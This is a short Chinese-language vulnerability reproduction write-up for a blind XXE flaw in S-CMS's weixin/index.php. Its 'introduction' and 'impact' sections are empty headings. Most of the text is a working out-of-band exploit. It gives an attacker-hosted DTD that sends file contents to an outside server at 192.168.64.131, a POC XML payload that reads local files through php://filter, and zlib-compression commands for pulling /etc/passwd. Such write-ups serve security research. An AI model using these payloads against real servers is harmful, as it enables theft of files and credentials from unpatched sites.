S-CMS xxe漏洞
一、漏洞简介
二、漏洞影响
三、复现过程
漏洞分析
全局搜索simplexml
,在weixin/index.php
发现漏洞
非常标准的XXE,没有任何过滤手段,往下并未发现有输出XML解析结果的地方,此处应用无回显的XXE攻击手段
漏洞复现
首先在自己的服务器(192.168.64.131)上创建一个供靶机外部引用的dtd文件(test.dtd)
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.64.131/?%file;'>"
>
%all;
发送POC
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/phpStudy/PHPTutorial/WWW/robots.txt">
<!ENTITY % dtd SYSTEM "http://192.168.64.131/test.dtd">
%dtd;
%send;
]>
然后在Apache日志中查看到结果:
在这里发现一个问题,查看其它php文件的内容会发生Detected an entity reference loop
错误,查询资料发现libxml解析器默认限制外部实体长度为2k,无法突破,只能寻找压缩解决方案(但效果不明显)
压缩:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解压:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
参考链接
http://pines404.online/2019/10/31/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/S-CMS%E5%AE%A1%E8%AE%A1%E5%A4%8D%E7%8E%B0/